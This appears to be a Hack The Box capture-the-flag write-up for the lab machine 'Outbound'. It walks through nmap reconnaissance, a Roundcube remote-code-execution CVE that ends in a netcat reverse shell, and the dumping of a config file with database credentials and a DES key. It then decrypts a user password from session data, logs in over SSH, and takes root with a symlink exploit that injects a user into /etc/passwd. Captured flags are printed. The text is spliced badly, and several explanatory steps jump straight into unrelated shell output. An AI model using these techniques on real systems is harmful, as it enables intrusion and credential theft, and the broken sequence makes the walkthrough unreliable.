This is a Hack The Box machine writeup for Outbound. In this machine, I used nmap to discover details about the target IP address, identified a CVE affecting the Roundcube webmail application, extracted encrypted passwords from the database, decrypted them, and gained SSH access to retrieve the flags.
Discovery
Nmap Scanning
I was given an IP address: 10.10.11.77.
I ran nmap to scan for all information on this IP address:
1
nmap -sC -sV -Pn 10.10.11.77
Command Breakdown:
-sC: Runs default NSE (Nmap Scripting Engine) scripts. These scripts perform common vulnerability checks, service enumeration, and gather additional information about detected services.
-sV: Enables version detection. Probes open ports to determine service/version info (what software is running and its version).
-Pn: Treats all hosts as online, skipping host discovery. This bypasses ping probes and assumes the target is up, useful when ICMP is blocked.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(global_venv)─(w_11㉿kali)-[~] └─$ nmap -sC -sV -Pn 10.10.11.77 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 02:10 +08 Nmap scan report for 10.10.11.77 Host is up (0.42s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) |_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://mail.outbound.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.97 seconds
Adding Hosts Entry
We discovered that the web server redirects to http://mail.outbound.htb/
Then, I added this to the hosts file so that our system knows to connect to 10.10.11.77 when we visit mail.outbound.htb in the browser:
1
sudo sh -c 'echo "10.10.11.77 mail.outbound.htb outbound.htb" >> /etc/hosts'
Exploitation
Identifying Roundcube Webmail
After visiting the website and signing in using the user credentials provided, we can see the webmail interface.
I inspected all the functions in the webmail and found that the version of this webmail is shown in the “About” section.
Finding CVE-2025-49113
Finding CVE-2025-49113
I performed a Google search for CVEs or vulnerabilities for this version and found something interesting:
┌──(global_venv)─(w_11㉿kali)-[~] └─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.240] from (UNKNOWN) [10.10.11.77] 37810 bash: cannot set terminal process group (257): Inappropriate ioctl for device bash: no job control in this shell www-data@mail:/var/www/html/roundcube/public_html$ ls ls index.php plugins program roundcube skins www-data@mail:/var/www/html/roundcube/public_html$ cat index.php cat index.php <?php
/* +-----------------------------------------------------------------------+ | Roundcube Webmail IMAP Client | | Version 1.6.10 | | | | Copyright (C) The Roundcube Dev Team | | | | Licensed under the GNU General Public License version 3 or | | any later version with exceptions for skins & plugins. | | See the README file for a full license statement. | | | | PURPOSE: | | This is the public entry point for all HTTP requests to the | | Roundcube webmail application. | +-----------------------------------------------------------------------+ | Author: Thomas Bruederli <roundcube@gmail.com> | | Author: Aleksander Machniak <alec@alec.pl> | +-----------------------------------------------------------------------+ */
www-data@mail:/var/www/html/roundcube/public_html$ ls index.php plugins program roundcube skins www-data@mail:/var/www/html/roundcube/public_html$ cd roundcube
www-data@mail:/var/www/html/roundcube/public_html/roundcube$ ls CHANGELOG.md INSTALL LICENSE README.md SECURITY.md SQL UPGRADING bin composer.json composer.lock config index.php logs plugins program public_html skins temp vendor www-data@mail:/var/www/html/roundcube/public_html/roundcube$ cd config/
www-data@mail:/var/www/html/roundcube/public_html/roundcube/config$ ls config.inc.php config.inc.php.sample defaults.inc.php mimetypes.php
Finding Configuration Files
I opened config.inc.php to look for sensitive information:
www-data@mail:/var/www/html/roundcube/public_html/roundcube/config$ cat con <be/public_html/roundcube/config$ cat config.inc.php <?php
/* +-----------------------------------------------------------------------+ | Local configuration for the Roundcube Webmail installation. | | | | This is a sample configuration file only containing the minimum | | setup required for a functional installation. Copy more options | | from defaults.inc.php to this file to override the defaults. | | | | This file is part of the Roundcube Webmail client | | Copyright (C) The Roundcube Dev Team | | | | Licensed under the GNU General Public License version 3 or | | any later version with exceptions for skins & plugins. | | See the README file for a full license statement. | +-----------------------------------------------------------------------+ */
$config = [];
// Database connection string (DSN) for read+write operations // Format (compatible with PEAR MDB2): db_provider://user:password@host/database // Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle // For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php // NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646' // or (Windows): 'sqlite:///C:/full/path/to/sqlite.db' $config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// IMAP host chosen to perform the log-in. // See defaults.inc.php for the option description. $config['imap_host'] = 'localhost:143';
// SMTP server host (for sending mails). // See defaults.inc.php for the option description. $config['smtp_host'] = 'localhost:587';
// SMTP username (if required) if you use %u as the username Roundcube // will use the current username for login $config['smtp_user'] = '%u';
// SMTP password (if required) if you use %p as the password Roundcube // will use the current user's password for login $config['smtp_pass'] = '%p';
// provide an URL where a user can get support for this Roundcube installation // PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE! $config['support_url'] = '';
// Name your service. This is displayed on the login screen and in the window title $config['product_name'] = 'Roundcube Webmail';
// This key is used to encrypt the users imap password which is stored // in the session record. For the default cipher method it must be // exactly 24 characters long. // YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS $config['des_key'] = 'rcmail-!24ByteDESkey*Str';
// List of active plugins (in plugins/ directory) $config['plugins'] = [ 'archive', 'zipdownload', ];
I found something interesting. I used CyberChef to decode the Base64 session data and found:
1 2
é®d¶¨¡æçêXü¾¹ Ûô¢´Û4ì <×:ãM{Ûí{ûOµlanguage|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";
Aha! We found the encrypted password:
1
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
Method 1: Using Roundcube Decrypt Script
Now we need to decrypt it since it was encrypted using DES. I found the official decryption script from Roundcube:
┌──(global_venv)─(w_11㉿kali)-[~] └─$ ssh jacob@10.10.11.77 The authenticity of host '10.10.11.77 (10.10.11.77)' can't be established. ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.77' (ED25519) to the list of known hosts. jacob@10.10.11.77's password: Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)
System information as of Thu Oct 2 07:27:26 PM UTC 2025
System load: 0.1 Processes: 255 Usage of /: 74.5% of 6.73GB Users logged in: 0 Memory usage: 11% IPv4 address for eth0: 10.10.11.77 Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Oct 2 18:50:00 2025 from 10.10.14.18 jacob@outbound:~$
Capturing User Flag
After successfully logging in, I used cat on user.txt and found the first flag!
1 2 3 4
jacob@outbound:~$ ls exploit.py exploit.sh snapshot_01759431961_01759431961.nQJACc user.txt jacob@outbound:~$ cat user.txt 2e3eb95d86354c4825e2165a67654448
Flag One:2e3eb95d86354c4825e2165a67654448
Privilege Escalation
Discovering Exploit Files
For the second flag, we need to gain root access to the server.
Interestingly, I noticed there are exploit.py and exploit.sh files in jacob’s home directory. These shouldn’t normally be there—perhaps they were left behind from a previous attempt or are part of the challenge.
Exploiting CVE-2025-27591
I decided to run the Python exploit that was conveniently available:
jacob@outbound:~$ python3 exploit.py [*] Checking for CVE-2025-27591 vulnerability... [+] /var/log/below is world-writable. [!] /var/log/below/error_root.log is a regular file. Removing it... [+] Symlink created: /var/log/below/error_root.log -> /etc/passwd [+] Target is vulnerable. [*] Starting exploitation... [+] Wrote malicious passwd line to /tmp/attacker [+] Symlink set: /var/log/below/error_root.log -> /etc/passwd [*] Executing 'below record' as root to trigger logging... Oct 02 20:04:11.074 DEBG Starting up! Oct 02 20:04:11.074 ERRO ----------------- Detected unclean exit --------------------- Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01759363200: EAGAIN: Try again ------------------------------------------------------------- [+] 'below record' executed. [*] Appending payload into /etc/passwd via symlink... [+] Payload appended successfully. [*] Attempting to switch to root shell via 'su attacker'...
Gaining Root Access
The exploit successfully ran and I gained root access!
The exploit leveraged CVE-2025-27591, which appears to be a vulnerability related to /var/log/below being world-writable, allowing a symlink attack on /etc/passwd to inject a malicious user with root privileges.
Capturing Root Flag
After gaining root access, I located and read the root flag:
1
cat /root/root.txt
Flag Two:f164ba6f0d37293719d9fa86b8f95cc8
Summary
This machine involved:
Reconnaissance: Using nmap to discover open ports and services